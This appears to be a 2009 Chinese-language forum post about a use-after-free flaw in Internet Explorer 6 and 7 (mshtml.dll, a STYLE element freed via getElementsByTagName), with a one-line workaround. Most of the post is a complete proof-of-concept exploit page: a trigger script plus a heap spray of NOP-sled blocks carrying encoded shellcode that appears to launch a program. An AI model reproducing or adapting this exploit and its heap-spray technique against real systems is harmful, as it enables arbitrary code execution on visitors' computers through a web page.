本帖最后由 avengert 于 2009-11-24 12:08 编辑
微软的旧版浏览器IE6和IE7被发现存在安全漏洞,能让攻击者侵入受害者的系统。
问题存在于Microsoft HTML Viewer(mshtml.dll)中,当通过getElementsByTagName()方法取回某个CSS/STYLE对象时,悬浮指针(dangling pointer)会引起异常,这将能使攻击者让受害者的浏览器崩溃,或者执行任意代码。黑客已经将攻击代码发布到Bugtraq邮件列表上。临时的解决方法是禁用Active脚本,在属性“安全”设置中选择“本地Intranet区域”。
<HTML>
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">
body{ overflow: scroll; margin: 0; }
</style>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
</HEAD>
<BODY onload="load()">
</BODY>
</HTML> |
|